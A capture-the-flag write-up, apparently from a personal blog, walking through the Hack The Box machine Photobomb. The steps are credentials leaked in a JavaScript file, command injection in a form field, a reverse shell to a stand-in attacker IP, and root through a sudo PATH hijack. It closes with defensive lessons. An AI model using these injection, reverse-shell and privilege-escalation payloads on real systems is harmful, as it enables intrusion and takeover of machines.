root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat photobomb.md
// writeups

Photobomb

8 Oct 2022 · 10 min read
Photobomb - maquina de Hack The Box

Executive summary — Photobomb is a very instructive Easy Linux box: an exposed JavaScript file (photobomb.js) leaks the Basic Auth credentials (pH0t0:b0Mb!) that unlock the printing panel /printer. That panel builds a system command from the filetype parameter without sanitising it, allowing command injection and a shell as wizard. Escalation abuses sudo with SETENV over a cleanup script that calls find without an absolute path: a textbook PATH hijack turns it into root. Path: creds in JS → command injection → PATH hijack → root.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.228.60

Attack map

[80] photobomb.htb (vhost) → photobomb.js leaks creds  pH0t0:b0Mb!
   │  Basic-Auth → /printer panel
   ▼
[RCE]  command injection in the filetype parameter (POST /printer)
   ▼
[SHELL]  wizard  (user.txt)
   │  sudo -l → (root) SETENV NOPASSWD /opt/cleanup.sh (calls find without an absolute path)
   ▼
[ROOT]  PATH hijacking (SETENV) → fake find → chmod 4755 /bin/bash → bash -p

1. Initial reconnaissance

nmap -sC -sV -oN nmap/targeted 10.129.228.60
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Only two services exposed: SSH and HTTP. The web server responds pointing to a virtual host, photobomb.htb, that doesn't resolve yet in our /etc/hosts — the obvious entry point is port 80.

2. Setting up the virtual host

echo "10.129.228.60 photobomb.htb" | sudo tee -a /etc/hosts
curl -I http://photobomb.htb
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)

With the vhost resolved we can browse the site the way the server expects.

3. Web enumeration and photobomb.js

http://photobomb.htb shows a photo gallery and a /printer section protected with HTTP Basic Auth. Inspecting the resources the page loads reveals a JavaScript file worth downloading:

curl http://photobomb.htb/photobomb.js
function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href',
      'http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Why it matters: the developer left a comment giving away the reason («tech support keeps forgetting the password») and, worse, plaintext hardcoded credentials. The isPhotoBombTechSupport cookie check only decides whether the link auto-fills in an employee's browser; the source code is public either way, cookie or not, so the credentials are exposed to anyone who looks.

With pH0t0:b0Mb! we now have a username and password for the /printer panel.

4. Accessing /printer and its parameters

curl -u 'pH0t0:b0Mb!' http://photobomb.htb/printer

The panel lets us pick a photo, an output format (jpg/png) and some dimensions, then downloads a processed copy. The actual request the «download» button fires can be reproduced with curl:

curl -u 'pH0t0:b0Mb!' \
  -X POST http://photobomb.htb/printer \
  -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg&dimensions=600x400'

Three parameters: photo, filetype and dimensions. If the server hands any of them to an image-conversion utility (ImageMagick and friends are common here) via a shell call, the prime suspect for injection is filetype: it's not a filename or a path, and its valid range is tiny — anything other than jpg/png is suspicious.

5. Confirming command injection

To confirm the injection without relying on visible output, we use a time-based test with sleep: if the parameter is concatenated into a shell command, chaining a sleep 5 with | should delay the response by exactly 5 seconds.

curl -u 'pH0t0:b0Mb!' \
  -X POST http://photobomb.htb/printer \
  -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg|sleep+5&dimensions=600x400'

The response takes several extra seconds, confirming that filetype travels unsanitised into a system command and that the | character lets us chain arbitrary commands.

6. Reverse shell and stabilisation

With injection confirmed, we set up a listener and fire the real payload, swapping sleep for a Bash reverse shell pointed at our IP:

nc -lvnp 4444
curl -u 'pH0t0:b0Mb!' \
  -X POST http://photobomb.htb/printer \
  -d 'photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg|bash+-c+"bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261"&dimensions=600x400'

The listener catches the connection: a shell as wizard. To work comfortably (arrows, tab-completion, Ctrl+C without killing the shell) we stabilise it with the classic script + stty trick:

# on the remote shell
script /dev/null -c bash
# Ctrl+Z to background it

# on Kali
stty raw -echo; fg

# back on the remote shell
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 50 columns 160

7. User flag

cd /home/wizard
ls -la
cat user.txt

8. Local enumeration — sudo -l

sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

Why it matters: wizard can run /opt/cleanup.sh as root without a password, and with SETENV on top. That flag lets us propagate our own environment variables when invoking sudo — including PATH — instead of sudo resetting them. That's exactly the variable we need to control for a PATH hijack.

9. Analysing /opt/cleanup.sh — PATH hijacking

cat /opt/cleanup.sh
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s 0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Whoever wrote this script was careful with /bin/cat and /usr/bin/truncate —absolute paths— but slipped on the last line: find is invoked without an absolute path. Running via sudo, the shell resolves that binary by walking PATH in order. If we control PATH (thanks to SETENV) and drop an executable named find in a directory that comes before /usr/bin, root's script will run our binary instead of the real one.

10. Exploitation — fake find and root

cd /tmp
cat > find << 'EOF'
#!/bin/bash
chmod 4755 /bin/bash
EOF
chmod +x find
sudo PATH=/tmp:$PATH /opt/cleanup.sh

sudo launches cleanup.sh as root; the script calls find; since PATH starts with /tmp, the shell runs our /tmp/find instead of the real one, and that fake binary sets the SUID bit on /bin/bash:

ls -l /bin/bash
-rwsr-xr-x 1 root root ...

With bash SUID, root is one command away:

bash -p
whoami   # root
cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Info leakphotobomb.jsBasic Auth credentials hardcoded in the frontendAccess to /printer
RCE/printer panelCommand injection in the filetype parameterShell as wizard
PrivEscsudo /opt/cleanup.shSETENV + find without absolute path (PATH hijacking)Root

Lessons learned

  • No static resource is private: any JavaScript, CSS, or comment you serve to the browser is public and will get inspected sooner or later.
  • Never put secrets in the frontend: no credentials, no tokens, no internal paths.
  • Sanitise or die: any parameter that ends up in a shell command must be validated strictly (better yet, avoid invoking the shell at all).
  • sudo with SETENV is dangerous: it lets an attacker manipulate PATH and other environment variables even with secure_path configured.
  • Absolute paths in privileged scripts, always: /usr/bin/find, never bare find — the script already got cat and truncate right, and one slip was all it took.